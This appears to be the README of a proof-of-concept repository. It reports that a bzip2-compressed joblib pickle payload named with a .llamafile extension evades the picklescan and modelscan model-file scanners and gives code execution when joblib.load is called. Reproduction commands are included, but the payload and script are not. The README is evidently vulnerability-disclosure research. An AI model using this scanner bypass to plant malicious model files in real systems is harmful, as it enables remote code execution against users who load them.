Views
No views yet
.llamafile)
Bypass: picklescan 1.0.4 + modelscan 0.8.8
Modes bypassed: all 4 (direct + directory scan for both scanners)
RCE via: joblib.load('malicious.llamafile')
Technique: bzip2-compressed joblib payload
Tested: 2026-06-25malicious.llamafile — bzip2-compressed joblib payload with .llamafile extensionpoc-llamafile.py — reproduction scriptREADME.md — this file1pip install picklescan modelscan joblib
2
3python3 poc-llamafile.py
4
5picklescan -p malicious.llamafile
6picklescan -p .
7modelscan -p malicious.llamafile
8modelscan -p .
9
10python3 -c "
11import joblib
12print('--- BEFORE LOAD ---')
13joblib.load('malicious.llamafile')
14print('--- AFTER LOAD ---')
15"